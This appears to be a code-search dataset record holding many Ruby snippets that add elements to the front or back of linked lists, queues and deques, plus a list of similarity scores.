[ "def add_first element\n if empty?\n @head = @tail = Node.new(element, nil, nil)\n else\n @head.prev_node = Node.new(element, nil, @head)\n @head = @head.prev_node\n end\n @size += 1\n\n return nil\n end", "def add_first element\n if empty?\n @head = @tail = Node.new(element, nil)\n else\n @head = Node.new(element, @head)\n end\n @size += 1\n\n return nil\n end", "def enqueue(element)\n @queue.insert(@queue.length, element)\n @head = @queue.first\n @tail = @queue.last\n end", "def add_at_head(val)\n @list.unshift(val)\n end", "def enqueue(el)\n @queue << el\n el\n end", "def add_at_head(val)\n \n end", "def add_to_front(node)\n node.set_next(@head)\n @head = node\n end", "def add_at_head(val)\n first = Node.new(val)\n first.next = @head\n @head = first\n @length += 1\n end", "def push(el)\n @head = LinkedListNode.new(el.value, @head)\n end", "def enqueue(element)\n raise 'Queue is full' if self.full?\n\n @queue[@tail] = element\n\n # Check to see if the queue was first initialized\n if @head.nil?\n @head = 0\n end\n\n # Check to see if tail is the first element\n if @tail == @length - 1\n @tail = 0\n else\n @tail += 1\n end\n end", "def add_to_front(node)\n temp = @head\n @head = node\n @head.next = temp\n end", "def enqueue(element)\n @items.push(element)\n nil\n end", "def enqueue(value)\n @count += 1\n new_element = RubyDS::StackQueue::Element.new(value)\n\n # If this is the first element, just assign the head and tail.\n if @head.nil?\n @head = new_element\n @tail = @head\n\n # Add the element as a new tail.\n else\n @tail.next = new_element\n @tail = @tail.next \n end\n end", "def enqueue(el)\n @queue.push(el)\n end", "def add_to_front(node)\n @tail ||= node\n node.next = @head if @head\n @head = node\n end", "def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end", "def add_to_front(node)\n temp_node = @head\n @head = node\n @head.next = temp_node\n end", "def push_head(value)\n\n if value.class == Nodo\n added_node = value\n else\n added_node = Nodo.new(value)\n end\n\n added_node.prev = nil\n added_node.next = @head\n\n @head.prev = added_node unless @head.nil?\n @head = added_node\n\n @tail = added_node if @tail.nil? \n @sz = @sz + 1\n return nil\n \n end", "def add_to_front(node)\n if @head == nil\n return add_to_tail(node)\n else\n old_head = @head\n @head = node\n @head.next = old_head\n return\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n end", "def push(element)\n # add element to the head of @store\n @store.add_first(element)\n end", "def add_to_front(node)\n if @head.nil?\n @tail = node\n else\n node.next = @head\n end\n @head = node\n end", "def unsorted_add(item)\n @head = Node.new(item,@head)\n end", "def add_to_front(node)\n if (!@head)\n @head = node\n @tail = node\n else\n prior_head = @head\n @head = node\n @head.next = prior_head\n end\n end", "def enqueue(element)\n # if queue is full or the element you're trying to add = nil, item cannot be added to the queue\n if full? or element.nil?\n nil\n else\n # 1 subtracted from @tail because the queue is going to be one item longer now\n @tail = @tail.pred\n # last element in the queue is set equal to the element you passed in as an argument\n @store[@tail] = element\n # returns the Queue\n self\n end\n end", "def insert_first(element)\n temp = @first_node\n element.insert_after(temp)\n @first_node = element\n @size += 1\n end", "def append_to_front(value)\n\t\tif @head\n node = Node.new(value)\n node.next = @head\n @head = node\n\t\telse \n\t\t\t@head = Node.new(value)\n\t\t\t@tail = @head\n end\n @size += 1\n end", "def add_to_front(node)\n if @head === nil\n @head = node\n @tail = node\n else\n node.next = @head\n @head = node\n end\n end", "def enqueue(el)\n @ivar << el\n end", "def advance_head\n\t\t\t@head_index += 1\n\t\t\t@head_index = 0 if @head_index == @queue.size\n\t\tend", "def enqueue(el)\n @data.push(el)\n end", "def add_to_front(node)\n if self.head.nil?\n self.head = node\n self.tail = node\n else\n temp = self.head\n self.head = node\n self.head.next = temp\n end\n end", "def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n end", "def enqueue(element)\n #if the array is already at the max length @size, or if the elemennt we are trying to add is nil, do nothing\n if full? or element.nil?\n nil\n else\n #subtracts 1 from @tail\n @tail = @tail.pred\n #sets the value of the element at the tail of the array to the value of element.\n @store[@tail] = element\n #returns it self\n self\n end\n end", "def push(x)\n @head = Item.new(x, @head)\n end", "def enqueue(element)\n @in.push(element)\n end", "def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end", "def add_to_front(node)\n if self.head == nil\n self.head = node\n self.tail = node\n else\n node.next = self.head\n self.head = node\n end\n end", "def double_unsorted_add(item)\n if (@head == nil) and (@tail == nil)\n @head = @tail = Node.new(item,nil,nil)\n elsif @behaviour == :stack\n @head = Node.new(item, @head, nil)\n @head.nxt.prv = @head if @head.nxt\n elsif @behaviour == :queue\n @tail = Node.new(item, nil, @tail)\n @tail.prv.nxt = @tail if @tail.prv\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def add_to_front(node)\n node.next = @head\n @head = node\n if @tail.nil?\n @tail = node\n end\n end", "def enqueue(element)\n # check if queue is full \n raise ArgumentError, \"Queue is full\" if (@back + 1) % MAX_BUFFER == @front \n # check if queue is empty\n # empty queue\n if @front < 0\n @front = @back = 0\n # overflow to wrap around\n elsif @back == MAX_BUFFER - 1 # raise block will check for a full queue\n @back = 0\n @store[@back] = element\n # okay to just add\n else \n @back += 1\n end \n @store[@back] = element\n end", "def push_front(nodo)\n\t\tif @head == nil\n\t\t\t@head = Node.new(nodo,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\taux = @head\n\t\t\t@head = Node.new(nodo, aux, nil)\n\t\t\taux.prev = @head\n\t\tend\n\tend", "def add(el)\n @heap.add(el)\n self\n end", "def push(value)\n @count += 1\n new_element = RubyDS::StackQueue::Element.new(value)\n if @head.nil?\n @head = new_element\n else\n new_element.next = @head\n @head = new_element\n end\n end", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def push_front(data)\n next_node = @head\n temp = Node.new(data, nil, next_node)\n @head = temp\n @size += 1\n end", "def add_to_front(node)\n node.next = self.head # previous head becomes second, after the node\n self.head = node # the node becomes the new head\n if self.tail == nil\n self.tail = node # if the list was empty, then the node is also the new tail\n end\n end", "def add element\n add_last(element)\n end", "def add element\n add_last(element)\n end", "def append(value)\n if !empty?\n set_tail(value)\n else\n set_head(value)\n end\nend", "def enqueue(el)\n @queue.push(el)\n true\n end", "def enqueue(element)\n if element.class.name == \"RealQueue\"\n require 'pry'\n binding.pry\n end\n @store.unshift(element)\n self\n end", "def add_first(data)\n @head = Node.new(data, head)\n end", "def insert_front(value)\n if @head\n @head = Node.new(value, nil, @head)\n else\n @head = Node.new(value)\n @tail = @head\n end\n @length += 1\n return @head\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add_first(data)\n @head = Node.new(data, @head)\n end", "def add value\n if @head.nil?\n @length = 1\n @head = GenericList::Node.new(value)\n else\n lst = @head\n ptr = @head.nxt\n while ptr && @proc.call(value, lst.value) <= 0\n lst = ptr\n ptr = ptr.nxt\n end\n @length += 1\n lst.insert value\n end\n end", "def enqueue(element)\n # raise NotImplementedError, \"Not yet implemented\"\n #check if front is empty\n if @front == -1\n #then rear is 1 and front is now 0\n @rear = 1\n @front = 0\n #access the element in the store array\n @store[@front] = element\n #otherwise if front IS the rear, then the queue is full\n elsif @front == @rear \n raise Error,\"Tis Full\"\n #not empty\n #calculate new rear then set it as the element\n #set original rear to new rear\n else\n new_rear = (@rear + 1) % queue_size\n @store[@rear] = element\n @rear = new_rear\n end\n end", "def add_first(value)\r\n @head = Node.new(value, @head)\r\n end", "def add_to_front(node)\n node.next = self.head\n self.head = node\n if self.tail == nil && node.next == nil\n self.tail = node\n end\n end", "def add val\n node = Node.new val\n if @size == 0\n @head = node\n @tail = node\n else\n node.next = @head\n @head.prev = node\n @head = node\n end\n\n @size += 1\n @tail = node if @size == 1\n @tail.prev = node if @size == 2\n remove_tail if @size > @capacity\n node\n end", "def insert_head(val)\n node = Node.new(val, nil, @head)\n @tail = node unless @head\n @head.prev = node if @head\n @head = node\n @size += 1\n end", "def add_first(data) \n @head = Node.new(data, @head)\n end", "def insert_front(value)\n if @queue.size < @size\n @queue.unshift(value)\n true\n else\n false\n end\n end", "def add(item)\n if @head == nil\n @head.data = item\n @head.next = nil\n @tail = @head\n else\n current = @head\n newItem = Node.new(item, nil)\n newItem.next = current\n @head = newItem\n end\n end", "def add_first(e)\n node = Node.new(e, @sentinel, @sentinel.next)\n @sentinel.next.prev = node\n @sentinel.next = node\n end", "def add_first(e)\n node = Node.new(e, @sentinel, @sentinel.next)\n @sentinel.next.prev = node\n @sentinel.next = node\n end", "def add_first(value)\r\n @head = Node.new(value, @head)\r\n end", "def insert_head(value)\n\n\t\tif empty()\n\t\t\t@head = Node.new(value,nil,nil)\n\t\t\t@tail = @head\n\t\telse\n\t\t\t@head.prev = Node.new(value,@head,nil)\n\t\t\t@head = @head.prev;\n\t\tend\n\n\t\t@size = @size + 1\n\t\t\t\n\tend", "def add_to_front(node)\n node.next = self.head\n self.head.nil? && self.tail.nil? ? (self.head = node && self.tail = node) : self.head = node\n end", "def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end", "def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end", "def add(element)\n\t\t@size += 1\n\t\t@data.push(element)\n\t\telement\n\tend", "def push_head (nodo)\n if @head == nil\n @head = Nodo.new(nodo,nil,nil)\n @tail = @head\n else\n @head.next = Nodo.new(nodo,nil,@head)\n @head = @head.next\n end\n end", "def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end", "def sorted_add(item)\n if @head.nil? or (item < @head.data)\n @head = Node.new(item, @head)\n else \n curr = @head\n until (curr.nxt.nil? or (item < curr.nxt.data)) do\n curr = curr.nxt\n end\n curr.nxt = Node.new(item, curr.nxt)\n end\n end", "def enqueue(node)\n #the double arrow means to PUSH the node into our q list\n @q << node\n end", "def add!(item)\n @queue[item] = item\n end", "def enqueue(ele)\n @push_stack.push(ele)\n end", "def add_first(data)\n first = Node.new(data, head)\n @head = first\n end", "def append(value)\n if @head.nil?\n prepend(value)\n else\n find_tail.next = Node.new(value)\n end\n end", "def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end", "def enqueue(el)\n self.queue_var = [el] + self.queue_var \n end", "def enqueue(node)\n @items[@items.count] = node\n end", "def prepend(value)\n @head = Node.new(value, @head)\n @size += 1\n end", "def insert_head(val)\r\n aux = Node.new(val,@head,nil)\r\n @head.prev = aux\r\n @head = aux\r\n end", "def insert(elem)\n @vector.push(elem)\n end", "def insert_at(value, index)\n length = size - 1\n if @head.nil?\n set_head(value)\n elsif index > length\n puts \"the list does not have a value associated with your given index.\"\n else\n old_node = at_no_data(index)\n old_next_node = at_no_data(index + 1)\n prev_node = at_no_data(index - 1)\n prev_node.next_node.data = value\n prev_node.next_node = old_node\n end\nend", "def add_node_front(input)\n if !@head\n @head = Node.new(input)\n else\n temp = @head\n @head = Node.new(input)\n @head.next = temp\n end\n end", "def add(elem)\n TstLog(\"Sequence add: #{elem}\")\n @elements.push elem\n @length += elem.length\n self\n end", "def push(val)\n new_node = Node.new(val)\n if size.zero?\n self.first = new_node\n self.last = new_node\n else\n temp = first\n self.first = new_node\n first.next = temp\n end\n size += 1\n size\n end", "def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end" ]
[ "0.71718776", "0.7152099", "0.709413", "0.7020722", "0.69583607", "0.6908876", "0.6885184", "0.6850977", "0.6790398", "0.67551196", "0.67534876", "0.6712128", "0.668987", "0.66831625", "0.6667313", "0.6644701", "0.6644701", "0.6639194", "0.66376436", "0.66360104", "0.66278607", "0.66027063", "0.65535146", "0.6550116", "0.6547192", "0.6540542", "0.653816", "0.65210164", "0.6497369", "0.64953685", "0.6490215", "0.6489651", "0.64818984", "0.64751965", "0.64751965", "0.64751965", "0.6470181", "0.64595956", "0.64508903", "0.6430409", "0.6430409", "0.64066124", "0.6406478", "0.6406478", "0.6406478", "0.63901556", "0.638065", "0.63747346", "0.6369124", "0.63673556", "0.63673556", "0.6358232", "0.6347116", "0.6343232", "0.63304687", "0.63304687", "0.63177705", "0.63176817", "0.6316081", "0.6316017", "0.63159204", "0.63142407", "0.63142407", "0.63142407", "0.6311883", "0.62949437", "0.6286335", "0.62828207", "0.6273515", "0.627213", "0.627143", "0.6261852", "0.62521523", "0.62280685", "0.62280685", "0.622117", "0.6218678", "0.6214481", "0.6209623", "0.6188639", "0.61839795", "0.61762094", "0.61761516", "0.6172499", "0.6168624", "0.616464", "0.61610645", "0.6154692", "0.6143307", "0.61420757", "0.61299026", "0.61208224", "0.61174655", "0.60979205", "0.6097662", "0.6094875", "0.60830724", "0.60817736", "0.60813373", "0.6077624" ]
0.6736225
11
Add an element at the end of the deque
def add_last(elt) @tail = Node.new(elt, nil, @tail) if @size == 0 @head = @tail else @tail.previous.next = @tail end @size += 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add element\n add_last(element)\n end", "def add element\n add_last(element)\n end", "def add_to_end(arr, element)\n arr.push(element)\nend", "def add_last element\n if empty?\n @head = @tail = Node.new(element, nil)\n else\n @tail.next_node = Node.new(element, nil)\n @tail = @tail.next_node\n end\n @size += 1\n\n return nil\n end", "def add_last element\n if empty?\n @head = @tail = Node.new(element, nil, nil)\n else\n @tail.next_node = Node.new(element, @tail, nil)\n @tail = @tail.next_node\n end\n @size += 1\n\n return nil\n end", "def add_at_tail(val)\n @list << val\n end", "def enqueue(el)\n @queue << el\n el\n end", "def append(value)\n if !empty?\n set_tail(value)\n else\n set_head(value)\n end\nend", "def enqueue(element)\n #if the array is already at the max length @size, or if the elemennt we are trying to add is nil, do nothing\n if full? or element.nil?\n nil\n else\n #subtracts 1 from @tail\n @tail = @tail.pred\n #sets the value of the element at the tail of the array to the value of element.\n @store[@tail] = element\n #returns it self\n self\n end\n end", "def enqueue(element)\n @queue.insert(@queue.length, element)\n @head = @queue.first\n @tail = @queue.last\n end", "def append(val)\n if(@entries != @length)\n @position += 1\n @entries += 1\n @store[@position] = val\n end \n end", "def push(val)\n resize! if @length == @capacity\n self.length += 1\n self[length - 1] = val\n\n nil\n end", "def push(val)\n resize! if self.length == self.capacity\n self.length += 1 \n self[length - 1] = val \n nil \n end", "def push(val)\n resize! if length == capacity\n self.length += 1\n self[length - 1] = val\n end", "def push(v)\n @que << v\n reheap(@que.size-1)\n self\n end", "def add_at_tail(val)\n \n end", "def enqueue(element)\n @items.push(element)\n nil\n end", "def enqueue(element)\n # check if queue is full \n raise ArgumentError, \"Queue is full\" if (@back + 1) % MAX_BUFFER == @front \n # check if queue is empty\n # empty queue\n if @front < 0\n @front = @back = 0\n # overflow to wrap around\n elsif @back == MAX_BUFFER - 1 # raise block will check for a full queue\n @back = 0\n @store[@back] = element\n # okay to just add\n else \n @back += 1\n end \n @store[@back] = element\n end", "def advance_tail\n\t\t\t@tail_index += 1\n\t\t\t@tail_index = 0 if @tail_index == @queue.size\n\t\tend", "def enqueue(element)\n raise 'Queue is full' if self.full?\n\n @queue[@tail] = element\n\n # Check to see if the queue was first initialized\n if @head.nil?\n @head = 0\n end\n\n # Check to see if tail is the first element\n if @tail == @length - 1\n @tail = 0\n else\n @tail += 1\n end\n end", "def enqueue(element)\n # if queue is full or the element you're trying to add = nil, item cannot be added to the queue\n if full? or element.nil?\n nil\n else\n # 1 subtracted from @tail because the queue is going to be one item longer now\n @tail = @tail.pred\n # last element in the queue is set equal to the element you passed in as an argument\n @store[@tail] = element\n # returns the Queue\n self\n end\n end", "def add(el)\n\t\tif(@elements.length < @size)\n\t\t\t@elements.push(el)\n\t\t\tbubble_up()\n\t\telsif el[@orderBy] < max\n\t\t\t# remove the max\n\t\t\tbubble_down()\n\t\t\t# add the new element\n\t\t\t@elements.push(el)\n\t\t\tbubble_up()\n\t\tend\n\tend", "def push_back(data)\n insert(data, @size)\n end", "def push(val)\n self.concat([val])\n shift if size > @max_size\n end", "def append! x\n\t\t\tcurrent << x\n\t\t\tx\n\t\tend", "def add(element)\n\t\t@size += 1\n\t\t@data.push(element)\n\t\telement\n\tend", "def add_element_to_end_of_array(array, element)\n array << element\nend", "def enqueue(el)\n @queue.push(el)\n end", "def add_element_to_end_of_array(array, element)\n array << element \nend", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def insert_last(value)\n if @queue.size < @size\n @queue.push(value)\n true\n else\n false\n end\n end", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def add(element)\n synchronize do\n @queue.push element\n @cond.signal\n end\n end", "def add(elem)\n @elements << elem\n i = @elements.size-1\n pa = parent(i)\n while i>0 and @comparator.call(@elements[i],@elements[pa]) > 0\n swap(i,pa)\n i = pa\n pa = parent(pa)\n end\n end", "def enqueue(el)\n @data.push(el)\n end", "def insert_last(element)\n if @first_node == nil\n insert_first(element)\n else\n old_last_node = find_last_node\n old_last_node.insert_after(element)\n @size += 1\n end\n end", "def append(value)\n if @size == 0\n @head = @tail = LinkedListNode.new(:value => value)\n else\n old_tail = @tail\n @tail = LinkedListNode.new(:value => value)\n old_tail.successor = @tail\n end\n @size += 1\n end", "def enqueue(el)\n self.queue_var = [el] + self.queue_var \n end", "def shift\n return nil if empty?\n @que.shift\n end", "def end_arr_add(arr, element)\n # Add `element` to the end of the Array variable `arr` and return `arr`\n arr.push(element)\n return arr\nend", "def enqueue(el)\n @queue.push(el)\n true\n end", "def enqueue(element)\n if element.class.name == \"RealQueue\"\n require 'pry'\n binding.pry\n end\n @store.unshift(element)\n self\n end", "def append(value)\n #needs .last method\n #self.last\n last.next = Node.new(value)\n end", "def add(elem)\n TstLog(\"Sequence add: #{elem}\")\n @elements.push elem\n @length += elem.length\n self\n end", "def enqueue(el)\n @ivar << el\n end", "def append(element)\n insert_at_trailer(element)\n end", "def enqueue(new_element)\n if is_empty?\n @front = @rear = 0\n elsif is_full\n puts \"Queue is full or create another array and copy queue\" \n return\n else\n @rear = (@rear + 1) % @size_of_array\n end\n @queue_array[@rear] = new_element\t\n end", "def append value\n add_idx = empty? ? 0 : last_key + 1\n self[add_idx] = value\n end", "def enqueue(element)\n # raise NotImplementedError, \"Not yet implemented\"\n #check if front is empty\n if @front == -1\n #then rear is 1 and front is now 0\n @rear = 1\n @front = 0\n #access the element in the store array\n @store[@front] = element\n #otherwise if front IS the rear, then the queue is full\n elsif @front == @rear \n raise Error,\"Tis Full\"\n #not empty\n #calculate new rear then set it as the element\n #set original rear to new rear\n else\n new_rear = (@rear + 1) % queue_size\n @store[@rear] = element\n @rear = new_rear\n end\n end", "def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end", "def enqueue(el)\n @maxqueue.push(el) if @maxqueue.length.zero?\n\n @store.push(el)\n while @maxqueue[0] < el\n @maxqueue.pop\n break if @maxqueue.length.zero?\n end\n @maxqueue.push(el)\n end", "def add(element)\n temp_list = array_list\n @array_list = FixedArray.new(length + 1)\n (length - 1).times do |index|\n @array_list.set(index, temp_list.get(index))\n end\n @array_list.set(length - 1, element)\n end", "def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n\n @last = newNode\n @length += 1\n self\n end", "def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end", "def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end", "def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n\r\n @last = newNode\r\n @length += 1\r\n self\r\n end", "def push(e)\n idx = @data.size\n @data.push e\n percolate_up\n end", "def append(node)\n nxt = @nxt\n top = self\n while nxt\n top = nxt\n nxt = nxt.nxt\n end\n node = node.first\n top.nxt = node\n node.prv = top\n node\n end", "def append(element)\n updated(@children + [element])\n end", "def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end", "def append(value)\n newNode = Node.new(value, nil)\n\n if empty?\n @first = newNode\n else\n @last.next = newNode \n end\n @last = newNode\n @length += 1\n self\n end", "def append(value)\r\n newNode = Node.new(value, nil)\r\n\r\n if empty?\r\n @first = newNode\r\n else\r\n @last.next = newNode \r\n end\r\n @last = newNode\r\n @length += 1\r\n self\r\n end", "def add_at_tail(val)\n last = Node.new(val)\n current = @head\n if @length == 0 then\n @head = last\n @length += 1\n else\n while !current.next.nil?\n current = current.next\n end\n current.next = last\n @length += 1\n end\n end", "def push(element); end", "def append\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n new_node = Node.new\n @head.next_node = new_node\n @tail = new_node\n else\n new_node = Node.new\n search_node = @tail\n search_node.next_node = new_node\n @tail = new_node\n end\n\n @size += 1\n @tail\n end", "def add(item)\n # TODO\n # - add item to @array. resize if load exceeds threshold\n # - handle edge cases:\n # - @array has size 0.\n # - @array is full\n\n @array[@tail] = item\n @tail = @tail + 1\n\n end", "def push(element)\n # add element to the head of @store\n @store.add_first(element)\n end", "def push(val)\n resize! if @length == @capacity\n\n #increase length of array first, then set val = to last element.\n @length += 1\n @store[@length - 1] = val\n end", "def append(value)\n new_node = create_node(value) \n if head.nil?\n self.head = new_node\n else\n last_node = tail\n last_node.next_node = new_node\n end\n self.size += 1\n end", "def append(newEntry)\n if @head.nil?\n @head = newEntry\n @tail = newEntry \n else\n @tail.next = newEntry\n @tail = newEntry\n end \n end", "def enqueue(value)\n @count += 1\n new_element = RubyDS::StackQueue::Element.new(value)\n\n # If this is the first element, just assign the head and tail.\n if @head.nil?\n @head = new_element\n @tail = @head\n\n # Add the element as a new tail.\n else\n @tail.next = new_element\n @tail = @tail.next \n end\n end", "def push(element)\n @data[@data.length] = element\n end", "def add_to_back(item)\n @array << item\n end", "def insert_front(value)\n if @queue.size < @size\n @queue.unshift(value)\n true\n else\n false\n end\n end", "def append(value)\n a = Node.new(value);\n a.prev = last;\n a.next = nil;\n a.prev.next = a; #prev now 2nd last\n end", "def push(x)\n @q << x \n end", "def add!(item)\n @queue[item] = item\n end", "def end; self.begin + self.size - 1; end", "def added(node)\n\t\t\t@size += 1\n\t\t\treturn node\n\t\tend", "def push(element)\n if length == @buffer_size\n shift\n end\n\n array_push(element)\n end", "def add_item value\n\n @queue << value.to_f\n @queue.shift if @buffer.size > @period\n\n @buffer << @queue.sum / @queue.size # @queue.sum is always a float. \n\n current # return the last buffer value\n end", "def enqueue(element)\n @in.push(element)\n end", "def add_bottom (card)\n @cards.unshift(card);\n end", "def insert_after(item, object)\n # raises IndexOutOfBoundsException if index is out of bounds [0, @length)\n # TODO\n end", "def dequeue\n @items.shift\n end", "def add(el)\n @heap.add(el)\n self\n end", "def append(x)\n last_elem = self.tail\n if !empty?\n @tail = last_elem.append(x)\n else\n @head = ListElement.new(x)\n @tail = @head\n end\n end", "def en_queue(value)\n return false if self.is_full\n\n @queue[@rear] = value\n if @rear == @queue.size - 1\n @rear = 0\n else\n @rear += 1\n end\n true\n end", "def add_first element\n if empty?\n @head = @tail = Node.new(element, nil, nil)\n else\n @head.prev_node = Node.new(element, nil, @head)\n @head = @head.prev_node\n end\n @size += 1\n\n return nil\n end", "def add_item value\n @queue << value\n @queue.shift if @queue.size > @period\n if @buffer.empty?\n @buffer=[value.to_f]\n else\n prev_ema = @buffer.last\n current_value = value.to_f\n # this is the incremential approach\n # @buffer << (current_value * @smooth_constant ) + prev_ema * (1 - @smooth_constant)\n # it is identical to\n @buffer << (current_value - prev_ema) * @smooth_constant + prev_ema\n # which is much easier to compute\n end\n current # return the last buffer value\n end", "def push element\n if full?\n raise ArgumentError, \"buffer is full, and override_when_full is false\" unless @override_when_full\n \n @buffer[@newest] = element;\n @newest += 1\n @oldest += 1\n else\n @buffer[@newest] = element;\n @newest += 1\n @fill_count += 1 \n end\n\n if @oldest >= @buffer.count\n @oldest = 0\n end\n\n if @newest >= @buffer.count\n @newest = 0\n end\n end", "def push(element)\n @store.push(element)\n @top += 1\n end", "def append(val)\n node = Node.new\n node.value = val\n @array << node \n @array[-2].next_node = node unless @array.count == 1 \n end", "def en_queue(value)\n if is_full() == true\n return false\n end\n\n @rear = (@rear + 1) % (@q.length)\n @q[@rear] = value\n @length += 1\n return true\n end", "def peek_last\n raise 'No such element' if @size == 0\n @tail.value\n end", "def append( value )\n last.next = Node.new value\n end", "def push_tail(value)\n if value.class == Nodo\n added_node = value\n else\n added_node = Node.new(value)\n end\n\n added_node.next = nil\n added_node.prev = @tail\n\n @tail.next = added_node unless @tail.nil?\n @tail = added_node\n @head = added_node if @head.nil? \n @sz = @sz + 1\n\n return nil\n end", "def move_later\n nekst = self.next\n self.append_to(nekst) if nekst\n end", "def insert(item)\n\t\t\n\t\tif self.size == @capacity\n\t\t\t@a.pop\n\t\tend\n\t\t@a.push item\n\tend", "def push value\n self.set( self.get_length + 1 , value)\n end" ]
[ "0.71994746", "0.71994746", "0.69432664", "0.68547195", "0.6836447", "0.6803938", "0.67154723", "0.66582334", "0.65827245", "0.65765584", "0.6573239", "0.65594447", "0.6558524", "0.65470135", "0.6528902", "0.64545286", "0.64086086", "0.6403032", "0.6402555", "0.64009315", "0.63941324", "0.636943", "0.6357188", "0.63239723", "0.6323187", "0.63150966", "0.63124084", "0.62988144", "0.6293744", "0.6292042", "0.6290675", "0.6281047", "0.6281047", "0.62369263", "0.62225217", "0.6194616", "0.6182727", "0.617135", "0.6171103", "0.6160318", "0.615673", "0.61565644", "0.61470556", "0.6146654", "0.614372", "0.614171", "0.61348873", "0.6112828", "0.610548", "0.609997", "0.60792524", "0.6074338", "0.6069655", "0.60675484", "0.60675484", "0.60675484", "0.60667384", "0.60520583", "0.60512066", "0.60391366", "0.60370964", "0.60368055", "0.6027113", "0.6019161", "0.60164374", "0.6003412", "0.60016584", "0.5993309", "0.5992771", "0.59853375", "0.59833807", "0.59803593", "0.59644026", "0.59579414", "0.5955262", "0.59540254", "0.59503204", "0.59498394", "0.59430635", "0.5942057", "0.59404904", "0.5932584", "0.59300566", "0.59217626", "0.59210765", "0.59192556", "0.59166896", "0.59117854", "0.5907468", "0.59073395", "0.59031004", "0.5902191", "0.59006095", "0.5896676", "0.5891365", "0.58900136", "0.5888821", "0.5887889", "0.58810616", "0.58797765" ]
0.6241681
33
Remove the node at the end of the list and returns its value
def remove_last raise 'No such element' if @size == 0 elt = @tail.value if @size == 1 @head = nil @tail = nil else @tail = @tail.previous @tail.next.previous = nil @tail.next = nil end @size -= 1 return elt end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n @tail = @tail.prev_node\n @size -= 1\n\n # removes the same element from @head, if it was final element/node\n if empty?\n @head = nil\n else\n # send to garbage collector\n @tail.next_node = nil\n end\n\n return data\n end", "def ll_pop()\n current = @head\n \n if @num_nodes == 0\n return nil\n elsif @num_nodes == 1\n @head = nil\n @tail = nil\n else\n second = @head.get_Next()\n @head = second\n end\n \n @num_nodes -= 1\n return current.get_Data()\n end", "def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end", "def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end", "def remove_last\n # if the head is nil, then we just return nil\n return nil if head.nil?\n # if it's only one node, thet remove_last is equal to pop\n return pop if head.next_node.nil?\n\n # we keep searching for the next node until\n # current.next_node is nil\n prev = @head\n current = @head\n\n while !current.next_node.nil?\n prev = current\n current = current.next_node\n end\n # since current.next_node is nil, we just\n # disconnect it and update the tail reference\n prev.next_node = nil\n @tail = prev\n return current.value\n end", "def 